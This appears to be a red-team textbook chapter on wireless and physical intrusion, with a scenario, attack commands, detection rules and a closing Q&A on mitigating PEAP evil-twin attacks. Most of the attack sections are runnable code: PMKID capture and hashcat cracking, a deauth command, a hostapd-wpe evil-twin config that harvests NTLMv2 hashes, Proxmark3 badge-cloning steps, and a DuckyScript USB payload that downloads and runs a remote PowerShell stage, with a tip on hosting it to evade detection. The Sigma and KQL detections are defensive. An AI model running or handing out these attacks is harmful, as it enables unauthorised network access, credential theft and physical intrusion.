Chapter 223

Wireless and Physical Security

Wireless and physical attacks remain viable initial access vectors even against well-defended perimeters. WPA2 PMKID capture allows offline password cracking without deauthentication. Bluetooth enumeration exposes IoT and mobile devices for proximity attacks. Physical intrusion via badge cloning, tailgating, and rogue USB devices bypasses every network-layer control.

Scenario

A red team is engaged with a "no exceptions" network segmentation policy that blocks all internet access from the target environment. During physical reconnaissance, the team observes employees using WPA2-PSK Wi-Fi on a guest network with shared access to the corporate floor. The plan: PMKID attack to crack the PSK offline, evil twin AP to capture enterprise credentials, USB drop with AutoRun payload in the car park.

Wi-Fi Attack Techniques

WPA2 PMKID Attack (clientless handshake)

WPA2 4-WAY HANDSHAKE vs PMKID ATTACK ════════════════════════════════════════════════════════════════════ Traditional 4-way handshake capture (requires active client): AP ─── Deauth ──→ Client (force reconnect) Client ────────────────── EAPOL Msg1 ──→ AP AP ──────────────────── EAPOL Msg2 ──→ Client ← capture this pair PMK = PBKDF2(HMAC-SHA1, password, SSID, 4096, 32) PTK = PRF-512(PMK || ANonce || SNonce || AP_MAC || Client_MAC) MIC = HMAC-SHA1(KCK, EAPOL_data)[0:16] hashcat -m 2500 (HCCAPX format) PMKID attack (no client needed — 802.11r amendment leaks this): PMKID = HMAC-SHA1(PMK, "PMK Name" || AP_MAC || Client_MAC)[0:16] Request: Association Request Response: EAPOL containing PMKID (RSN IE, element ID 221) hashcat -m 22000 (HPWMX format, covers both handshake and PMKID) Advantage: works with zero clients connected; AP must support PMKID (802.11r roaming or vendor extension — most modern consumer APs do) ════════════════════════════════════════════════════════════════════
# PMKID capture with hcxdumptool:
sudo hcxdumptool -i wlan0mon \
  --enable_status=15 \
  -o target.pcapng \
  --filterlist_ap=target_bssids.txt \
  --filtermode=2

# Convert pcapng to hashcat 22000 format:
hcxpcapngtool -o hash.hc22000 -E wordlist.txt target.pcapng

# Crack with hashcat (rule-based attack):
hashcat -m 22000 hash.hc22000 rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --optimized-kernel-enable \
  --status --status-timer=60

# Monitor mode setup (iw):
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iwconfig wlan0 channel 6  # target AP channel

# Alternative: airmon-ng
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture
# Deauth-assisted capture (traditional):
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

Bluetooth Attacks

AttackTargetToolPrecondition
Device enumerationAny discoverable BT devicebtscanner, hcitool scanDevice in discoverable mode
KNOB (CVE-2019-9506)BT Classic encryption entropyPoC exploitProximity; BR/EDR device
BlueBorne (CVE-2017-1000251)Linux BlueZ stack RCEBlueBorne PoCBT enabled, no pairing needed
BLE MITMIoT, fitness trackers, HIDGATTacker, BtleJuiceDevice uses unauthenticated pairing (Just Works)
HID keyboard injectionUSB HID profile via BTBT keyboard PoCAuto-pair allowed; target has no confirmation
# Bluetooth device enumeration:
sudo hciconfig hci0 up
sudo hcitool scan         # BR/EDR discoverable devices
sudo hcitool lescan       # BLE advertisement scan

# BLE GATT service enumeration (target MAC must be known):
sudo gatttool -b AA:BB:CC:DD:EE:FF --primary   # list services
sudo gatttool -b AA:BB:CC:DD:EE:FF --characteristics  # list characteristics

# Python BLE scan (bleak library — cross-platform):
import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f"{d.address}  RSSI:{d.rssi:4d}  {d.name or '(unknown)'}")

asyncio.run(scan())

Evil Twin and Rogue AP

# hostapd-wpe for WPA2-Enterprise credential capture (PEAP/MSCHAPV2):
# hostapd-wpe auto-responds to PEAP authentication, captures NTLMv2 hashes

cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpNetwork          # match target SSID exactly
channel=6
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
EOF

sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Captured output:
# username: CORP\jsmith
# challenge: 1122334455667788
# response: aabbccdd11223344aabbccdd11223344aabbccdd11223344

# Crack NTLMv2 with hashcat:
hashcat -m 5600 "CORP\\jsmith::CORP:1122334455667788:aabbccd..." \
  rockyou.txt --optimized-kernel-enable

Physical Intrusion — USB Drops and Badge Cloning

# HID Rubber Ducky / USB Ninja — keystroke injection payload (DuckyScript):
DELAY 2000
GUI r
DELAY 500
STRING powershell -nop -w h -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.99/stage.ps1')"
ENTER

# Detection bypass: stage.ps1 lives on legitimate cloud storage (raw.githubusercontent.com)
# MTP/HID combo device: appears as keyboard + mass storage, mass storage only after keystroke

# Proxmark3 — HID/EM4100 badge clone:
# 1. Read target badge (proximity ~5cm, 125 kHz LF):
pm3 -c "lf hid read"
# Output: HID Prox (H10301) FAC:101 Card:12345

# 2. Write to T5577 blank card:
pm3 -c "lf hid clone -r 2006ec0351a4"  # raw bit string from read

# For HID iCLASS (13.56 MHz HF) — requires key diversification bypass:
pm3 -c "hf iclass dump --ki 0"  # default elite key attempt

Detection Engineering

title: Rogue AP — SSID Collision on Corporate Network
description: >
  Detects a wireless SSID broadcasting with the same name as a known-good
  corporate AP but with a different BSSID, indicating an evil twin deployment.
logsource:
  product: wireless_ids
  service: ap_events
detection:
  selection:
    event_type: 'new_bssid'
    ssid|contains:
      - 'CorpNetwork'
      - 'Corporate-WiFi'
  filter_known:
    bssid|contains:
      - 'aa:bb:cc:dd:'  # known corporate OUI
  condition: selection and not filter_known
level: high
tags: [attack.initial_access, T1200]

title: USB HID Device Keystroke Injection — Rapid Keystroke Rate
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 20001    # Plug and Play driver installation
    Message|contains:
      - 'HID Keyboard'
      - 'Rubber Ducky'
      - 'USB Input Device'
  condition: selection
level: medium
tags: [attack.initial_access, T1200]

-- MDE KQL: USB device insertion followed by PowerShell spawn (HID injection)
let usb_insert = DeviceEvents
| where ActionType == "PnpDeviceConnected"
| where AdditionalFields has "HID"
| project usb_time=Timestamp, DeviceName;
DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-nop","-w h","-enc","DownloadString","IEX")
| join kind=inner usb_insert on DeviceName
| where Timestamp between (usb_time .. usb_time+5m)
| project Timestamp, DeviceName, ProcessCommandLine, usb_time

Q&A

A company deploys WPA2-Enterprise with PEAP-MSCHAPv2 for its corporate Wi-Fi, believing it is significantly more secure than WPA2-PSK. Why is this assumption incomplete, and what specific technical weakness makes the evil-twin attack effective against PEAP-MSCHAPv2 specifically?

WPA2-Enterprise with PEAP-MSCHAPv2 is indeed stronger than PSK because each user authenticates with individual credentials rather than a shared password, and key material is derived per-session rather than from a shared PSK. However, PEAP-MSCHAPv2 has a fundamental architectural weakness: the PEAP tunnel (TLS) is established to authenticate the server to the client, but Microsoft's default implementation does not require the client to validate the server's certificate. When a user connects to an evil twin AP running hostapd-wpe, the rogue AP presents a self-signed certificate with any subject field. Without certificate validation enforcement, the Windows supplicant accepts this certificate and proceeds to authenticate inside the PEAP tunnel by sending the user's NTLMv2 challenge-response over MSCHAPv2. The rogue AP receives the full MSCHAPv2 exchange: username, server challenge, client challenge, and client response — which is a valid NTLMv2 hash that can be cracked offline with hashcat (-m 5600).

The real fix is certificate pinning on the 802.1X supplicant: configuring Windows (via Group Policy at Computer Configuration → Windows Settings → Wireless Network policies → PEAP → Configure → Validate server certificate → Trusted Root CAs + specific server names) to reject any PEAP tunnel established by a certificate that is not signed by a specific trusted CA with a specific CN. When certificate validation is properly enforced, the user's device refuses to send credentials to the rogue AP because the certificate won't match. The detection engineering angle: GPO compliance monitoring can verify that 802.1X profiles include validateServerCert=TRUE and a non-empty trustedRootCA list; devices missing this configuration are high-priority targets for the evil-twin attack.